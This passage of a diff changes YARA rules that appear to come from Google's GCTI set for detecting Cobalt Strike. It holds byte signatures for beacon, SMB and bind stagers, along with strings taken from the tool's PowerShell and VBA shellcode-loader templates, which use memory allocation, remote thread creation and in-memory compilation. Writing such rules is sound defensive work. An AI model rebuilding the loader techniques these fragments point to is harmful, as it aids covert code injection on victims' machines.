33 5? 8b ?? 00 4? 83 ?? ?4 8b ?? 00 31 ?? 4? 83 ?? ?4 5? 8b ?? 00 31 ?? 89 ?? 00 31 ?? 4? 83 ?? ?4 83 ?? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? fc 4? 83 ?? f0 ff} + $stub59 = {fc e8 ?? ?? ?? ?? [1-32] eb 2e 5? 8b ?? 48 83 c? ?4 8b ?? 31 ?? 48 83 c? ?4 5? 8b ?? 31 ?? 89 ?? 31 ?? 48 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e9 5? 48 83 ec ?8 ff e? e8 cd ff ff ff} + $stub63 = {fc e8 ?? ?? ?? ?? [1-32] eb 32 5d 8b ?? ?? 48 83 c5 ?4 8b ?? ?? 31 ?? 48 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 48 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? 48 83 ec ?8 ff e? e8 c9 ff ff ff} condition: - all of them + any of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_14 +rule GCTI_Cobaltstrike_Resources_Smbstager_Bin_V2_5_Through_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.14" + description = "Cobalt Strike's resources/smbstager.bin signature for versions 2.5 to 4.x" author = "gssincla@google.com" - id = "00edfc72-c7b8-5100-8275-ae3548b96e49" + id = "074b7d83-e3d8-541c-804b-2417c21f54d5" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L838-L866" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Smbstager_Bin_v2_5_through_v4_x.yara#L17-L95" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "254c68a92a7108e8c411c7b5b87a2f14654cd9f1324b344f036f6d3b6c7accda" - logic_hash = "6faed2b69647b87d86d46ae73ad92cfe7b2746c306cd7480dc9f0c484c8882e2" + hash = "946af5a23e5403ea1caccb2e0988ec1526b375a3e919189f16491eeabc3e7d8c" + logic_hash = "b0f6535069df16a64de44ca0638ec060c1ff264a7820c94710d61ca7e8474450" score = 75 quality = 85 tags = "" - rs2 = "87b3eb55a346b52fb42b140c03ac93fc82f5a7f80697801d3f05aea1ad236730" strings: - $version_sig = { 83 FA 5B 77 15 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $apiLocator = { + 31 ?? + AC + C1 ?? 0D + 01 ?? + 38 ?? + 75 ?? + 03 [2] + 3B [2] + 75 ?? + 5? + 8B ?? 24 + 01 ?? + 66 8B [2] + 8B ?? 1C + 01 ?? + 8B ?? 8B + 01 ?? + 89 [3] + 5? + 5? + } + $smb = { 68 C6 96 87 52 } + $smbstart = { + 6A 40 + 68 00 10 00 00 + 68 FF FF 07 00 + 6A 00 + 68 58 A4 53 E5 + } condition: - all of them + $apiLocator and $smb and $smbstart } -rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_0_Suspected +rule GCTI_Cobaltstrike_Resources_Template__X32_X64_Ps1_V1_45_To_V2_5_And_V3_11_To_V3_14 { meta: - description = "Cobalt Strike's sleeve/beacon.dll Versions 4.0 (suspected, not confirmed)" + description = "Cobalt Strike's resources/template.x64.ps1, resources/template.x32 from v3.11 to v3.14 and resources/template.ps1 from v1.45 to v2.5 " author = "gssincla@google.com" - id = "50ff6e44-ebc0-5000-a816-b385a6675768" + id = "c9fa6a39-0098-5dde-9762-94bc6b2df299" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L868-L901" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template__x32_x64_Ps1_v1_45_to_v2_5_and_v3_11_to_v3_14.yara#L17-L43" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "e2b2b72454776531bbc6a4a5dd579404250901557f887a6bccaee287ac71b248" - logic_hash = "6875099bc6df26f829f9f64e70bd7fdac6ac7b83a5596fc9359c127fef4e6db5" + hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87" + logic_hash = "5196f111f257239d2e7e4ca342e7fc8bac1687743bc8c7ff23addf1f094b2e93" score = 75 quality = 85 tags = "" strings: - $version_sig = { 51 4A 56 57 83 FA 62 0F 87 8F 03 00 00 FF 24 95 56 7B 00 10 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $importVA = "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc" nocase + $importCT = "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread" nocase + $importWFSO = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject" nocase + $compiler = "New-Object Microsoft.CSharp.CSharpCodeProvider" nocase + $params = "New-Object System.CodeDom.Compiler.CompilerParameters" nocase + $paramsSys32 = ".ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" nocase + $paramsGIM = ".GenerateInMemory = $True" nocase + $result = "$compiler.CompileAssemblyFromSource($params, $assembly)" nocase condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_1_And_V4_2 +rule GCTI_Cobaltstrike__Resources_Browserpivot_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_Dll_V4_0_To_V4_X { meta: - description = "Cobalt Strike's sleeve/beacon.dll Versions 4.1 and 4.2" + description = "Cobalt Strike's resources/browserpivot.bin from v1.48 to v3.14 and sleeve/browserpivot.dll from v4.0 to at least v4.4" author = "gssincla@google.com" - id = "793df916-bdf7-5743-b008-0113caf38bae" + id = "55086544-6684-526b-914f-505a562be458" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L903-L934" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_Dll_v4_0_to_v4_x.yara#L17-L60" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "daa42f4380cccf8729129768f3588bb98e4833b0c40ad0620bb575b5674d5fc3" - logic_hash = "7280a5c3f478ea40b6b72fb4669d5b8c21603e7fbfbc3815a83bc462ee19c0f5" + hash = "12af9f5a7e9bfc49c82a33d38437e2f3f601639afbcdc9be264d3a8d84fd5539" + logic_hash = "416554d31c105fd96aeaef508847efe2889590909c8d0025e3862e5b24078131" score = 75 quality = 85 tags = "" - rs2 = "9de55f27224a4ddb6b2643224a5da9478999c7b2dea3a3d6b3e1808148012bcf" strings: - $version_sig = { 48 57 8B F2 83 F8 63 0F 87 3C 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $socket_recv = { + FF [1-5] + 83 ?? FF + 74 ?? + 85 C0 + (74 | 76) ?? + 03 ?? + 83 ?? 02 + 72 ?? + 80 ?? 3E FF 0A + 75 ?? + 80 ?? 3E FE 0D + } + $fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]" condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Resources_Template_X86_Vba_V3_8_To_V4_X { meta: - description = "Cobalt Strike's sleeve/beacon.dll Versions 4.3 and 4.4" + description = "Cobalt Strike's resources/template.x86.vba signature for versions v3.8 to v4.x" author = "gssincla@google.com" - id = "976e087c-f371-5fc6-85f8-9c803a91f549" + id = "11c7758e-93b2-5fe3-873d-b98de579d2b4" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L936-L967" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x86_Vba_v3_8_to_v4_x.yara#L17-L37" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f" - logic_hash = "6608a84c4fd3bf77fd5b426da8be250d8b99878bd746fa23789f4791a164ce33" + hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142" + logic_hash = "7114515477d82651806eccef34f599f6ffd4614f987dee29417ac6ef7a1a1c38" score = 75 quality = 85 tags = "" - rs2 = "78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc" strings: - $version_sig = { 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $createstuff = "Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\"" nocase + $allocstuff = "Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\"" nocase + $writestuff = "Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\"" nocase + $runstuff = "Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\"" nocase + $vars = "Dim rwxpage As Long" nocase + $res = "RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)" + $rwxpage = "AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)" condition: - all of them + all of them and @vars [ 1 ] < @res [ 1 ] and @allocstuff [ 1 ] < @rwxpage [ 1 ] } -rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_7_Suspected +rule GCTI_Cobaltstrike_Resources_Template_X64_Ps1_V3_0_To_V4_X_Excluding_3_12_3_13 { meta: - description = "Cobalt Strike's sleeve/beacon.dll Versions 4.7 (suspected, not confirmed)" + description = "Cobalt Strike's resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13" author = "gssincla@google.com" - id = "4b6f90dd-69f3-5555-9195-6a0aed0fff58" + id = "5a808113-aacb-56ca-b3ec-166c73c54b85" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L969-L1002" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13.yara#L17-L37" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "da9e91b3d8df3d53425dd298778782be3bdcda40037bd5c92928395153160549" - logic_hash = "297ff7c3acfe6f9676dc6c265c548f017f39ccc5217617344e3bccc704ac4c78" + hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87" + logic_hash = "80823b8590004686ebd83958cad16094ea2f6958a837d87934507531a00df77a" score = 75 - quality = 85 + quality = 81 tags = "" strings: - $version_sig = { 53 56 48 57 8B F2 83 F8 67 0F 87 5E 03 00 00 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $dda = "[AppDomain]::CurrentDomain.DefineDynamicAssembly" nocase + $imm = "InMemoryModule" nocase + $mdt = "MyDelegateType" nocase + $rd = "New-Object System.Reflection.AssemblyName('ReflectedDelegate')" nocase + $data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase + $64bitSpecific = "[IntPtr]::size -eq 8" + $mandatory = "Mandatory = $True" condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_2 +rule GCTI_Cobaltstrike_Resources_Bind_Bin_V2_5_Through_V4_X { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.2" + description = "Cobalt Strike's resources/bind.bin signature for versions 2.5 to 4.x" author = "gssincla@google.com" - id = "61188243-0b90-5bff-bcc8-50f10ed941f6" + id = "32f129c1-9845-5843-9e16-7d9af217b8e2" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1029-L1068" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bind_Bin_v2_5_through_v4_x.yara#L17-L111" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "5993a027f301f37f3236551e6ded520e96872723a91042bfc54775dcb34c94a1" - logic_hash = "3803aaac537aec0b188870177e510a3789a71c19be576569b59aa146b2ba62c5" + hash = "3727542c0e3c2bf35cacc9e023d1b2d4a1e9e86ee5c62ee5b66184f46ca126d1" + logic_hash = "cf04e257590cf0673059348f5c15926918eb8aee40e864ae65979360aca80013" score = 75 quality = 85 tags = "" strings: - $version_sig = { 4C 8D 05 9F F8 FF FF 8B D3 48 8B CF E8 05 1A 00 00 - EB 0A 8B D3 48 8B CF E8 41 21 00 00 48 8B 5C 24 30 - 48 83 C4 20 } - $decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 } + $apiLocator = { + 31 ?? + AC + C1 ?? 0D + 01 ?? + 38 ?? + 75 ?? + 03 [2] + 3B [2] + 75 ?? + 5? + 8B ?? 24 + 01 ?? + 66 8B [2] + 8B ?? 1C + 01 ?? + 8B ?? 8B + 01 ?? + 89 [3] + 5? + 5? + } + $ws2_32 = { + 5D + 68 33 32 00 00 + 68 77 73 32 5F + } + $listenaccept = { + 5? + 5? + 68 B7 E9 38 FF + FF ?? + 5? + 5? + 5? + 68 74 EC 3B E1 + } condition: - all of them + $apiLocator and $ws2_32 and $listenaccept } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_3 +rule GCTI_Cobaltstrike_Resources_Artifact32Svc_Exe_V3_1_V3_2_V3_14_And_V4_X { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.3" + description = "Cobalt Strike's resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)" author = "gssincla@google.com" - id = "fb96ecff-809e-5704-974e-a2d8ef022daa" + id = "732169be-e334-5774-b0ac-54b217a8b681" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1070-L1109" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32svc_Exe_v1_49_to_v4_x.yara#L53-L77" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "7b00721efeff6ed94ab108477d57b03022692e288cc5814feb5e9d83e3788580" - logic_hash = "514d491b8066ed7127ebb152a27efbe65e1121da3b5460afe6987920a91f2863" + hash = "871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9" + logic_hash = "b55211fc2dbe100edb19c3f3a000be513144e3556c4bce8a29a3c0b77451ba96" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D3 48 8B CF E8 89 66 00 00 E9 23 FB FF FF - 41 B8 01 00 00 00 E9 F3 FD FF FF 48 8D 0D 2A F8 FF FF - E8 8D 2B 00 00 48 8B 5C 24 30 48 83 C4 20 } - $decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 } + $decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 } condition: - all of them + $decoderFunc } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_4 +rule GCTI_Cobaltstrike_Resources_Xor_Bin_V2_X_To_V4_X { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.4" + description = "Cobalt Strike's resource/xor.bin signature for version 2.x through 4.x" author = "gssincla@google.com" - id = "97ef152c-86c7-513c-a881-e7d594d38dcf" + id = "1754746c-3a42-5f7d-808a-ba2e1c0a270e" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1111-L1148" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__32bit_v2_x_to_4_x.yara#L17-L36" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "5a4d48c2eda8cda79dc130f8306699c8203e026533ce5691bf90363473733bf0" - logic_hash = "65aa42265133038f6f568c021c0228440e84e236829af50796a73f6923f46395" + hash = "211ccc5d28b480760ec997ed88ab2fbc5c19420a3d34c1df7991e65642638a6f" + logic_hash = "ad662a263ede6c3ba964baf8abe4848ed1e994f2c236d4315cb60c1d51442620" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D3 48 8B CF E8 56 6F 00 00 E9 17 FB FF FF - 41 B8 01 00 00 00 8B D3 48 8B CF E8 41 4D 00 00 - 48 8B 5C 24 30 48 83 C4 20 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $stub52 = {fc e8 ?? ?? ?? ?? [1-32] eb 27 5? 8b ?? 83 c? ?4 8b ?? 31 ?? 83 c? ?4 5? 8b ?? 31 ?? 89 ?? 31 ?? 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb ea 5? ff e? e8 d4 ff ff ff} + $stub56 = {fc e8 ?? ?? ?? ?? [1-32] eb 2b 5d 8b ?? ?? 83 c5 ?4 8b ?? ?? 31 ?? 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e8 5? ff e? e8 d? ff ff ff} condition: - all of them + any of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_5_Hf1_And_V3_5_1 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_44 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.5-hf1 and 3.5.1" + description = "Cobalt Strike's resources/beacon.dll Version 1.44" author = "gssincla@google.com" - id = "0c0e87d3-e0e2-5ddc-9d89-5e56443da4b8" + id = "935ee27f-ce1b-5491-b4a3-cb78f199ab1b" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1150-L1189" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L17-L49" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "934134ab0ee65ec76ae98a9bb9ad0e9571d80f4bf1eb3491d58bacf06d42dc8d" - logic_hash = "5cd69554edb91956f4ec4c3c5e55f4cd9c3665656c318220ba3a270c0bb0a690" + hash = "75102e8041c58768477f5f982500da7e03498643b6ece86194f4b3396215f9c2" + logic_hash = "ebed8b6dc0b929164b1aa25b491b9d2fbb61d380a8b1268df7d424afe90f613d" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D3 48 8B CF E8 38 70 00 00 E9 FD FA FF FF - 41 B8 01 00 00 00 8B D3 48 8B CF E8 3F 4D 00 00 - 48 8B 5C 24 30 48 83 C4 20 5F } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 0F B7 D2 4A 53 8B D9 83 FA 04 77 36 FF 24 } + $decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_6 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_45 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.6" + description = "Cobalt Strike's resources/beacon.dll Version 1.45" author = "gssincla@google.com" - id = "9651a1ca-d8ea-5b0b-bcba-a850c2e07791" + id = "04d4d0ee-f1ee-5888-8108-ca55243c770a" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1191-L1233" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L51-L84" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "92b0a4aec6a493bcb1b72ce04dd477fd1af5effa0b88a9d8283f26266bb019a1" - logic_hash = "d6aff186a01386992f004cb775d280f9b6e7e16d7ecee662d61e3485b0bc088b" + hash = "1a92b2024320f581232f2ba1e9a11bef082d5e9723429b3e4febb149458d1bb1" + logic_hash = "b1472907e0fe0cb26219c268f23483681cc076dab96c1b0f2f0ee472ad319b4f" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 27 - 0F 87 47 03 00 00 0F 84 30 03 00 00 83 F9 14 - 0F 87 A4 01 00 00 0F 84 7A 01 00 00 83 F9 0C - 0F 87 C8 00 00 00 0F 84 B3 00 00 00 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 51 0F B7 D2 4A 53 56 83 FA 08 77 6B FF 24 } + $decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_7 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_46 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.7" + description = "Cobalt Strike's resources/beacon.dll Version 1.46" author = "gssincla@google.com" - id = "27fad98a-2882-5c52-af6e-c7dcf5559624" + id = "79715042-1963-5e48-8b64-7d915da58d84" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1235-L1274" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L86-L115" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "81296a65a24c0f6f22208b0d29e7bb803569746ce562e2fa0d623183a8bcca60" - logic_hash = "89499e01acd607b2fbcdd134c74ca4a901c00c7c9cf70dd241cc538c1c0d083a" + hash = "44e34f4024878024d4804246f57a2b819020c88ba7de160415be38cd6b5e2f76" + logic_hash = "1a5c63c8b5527c0442830a73ded8458cf82a9d8ecb9b31e9a02c10b27ed6195e" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 28 - 0F 87 7F 03 00 00 0F 84 67 03 00 00 83 F9 15 - 0F 87 DB 01 00 00 0F 84 BF 01 00 00 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 8B F2 83 F9 0C 0F 87 8E 00 00 00 FF 24 } + $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_8 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_47 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.8" + description = "Cobalt Strike's resources/beacon.dll Version 1.47" author = "gssincla@google.com" - id = "89809d81-9a8b-5cf3-a251-689bf52e98e0" + id = "ac2249a9-210c-581f-8dd1-7619356dca7d" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1276-L1310" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L117-L144" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "547d44669dba97a32cb9e95cfb8d3cd278e00599e6a11080df1a9d09226f33ae" - logic_hash = "8845b71ce4401fd194eb88f04dbf1f313af8b4853da004e63261ca3158fcb1d4" + hash = "8ff6dc80581804391183303bb39fca2a5aba5fe13d81886ab21dbd183d536c8d" + logic_hash = "8c463d3122f3f79ff5d9b88e3d4f5ed14e6c581edfdfafba8a0c596c494ac1b1" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D3 48 8B CF E8 7A 52 00 00 EB 0D 45 33 C0 8B D3 48 8B CF - E8 8F 55 00 00 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 83 F8 12 77 10 FF 24 } + $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_11 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_48 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.11 (two subversions)" + description = "Cobalt Strike's resources/beacon.dll Version 1.48" author = "gssincla@google.com" - id = "bf0c7661-2583-5fca-beb5-abb2b50c860d" + id = "dd15099f-ad19-58df-9ed4-ce66d7ee8540" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1312-L1366" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L146-L178" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "64007e104dddb6b5d5153399d850f1e1f1720d222bed19a26d0b1c500a675b1a" - logic_hash = "9c34b23b659463a0ab92949031a9b3246aa95256d1548b2f0ad53fe3d379997d" + hash = 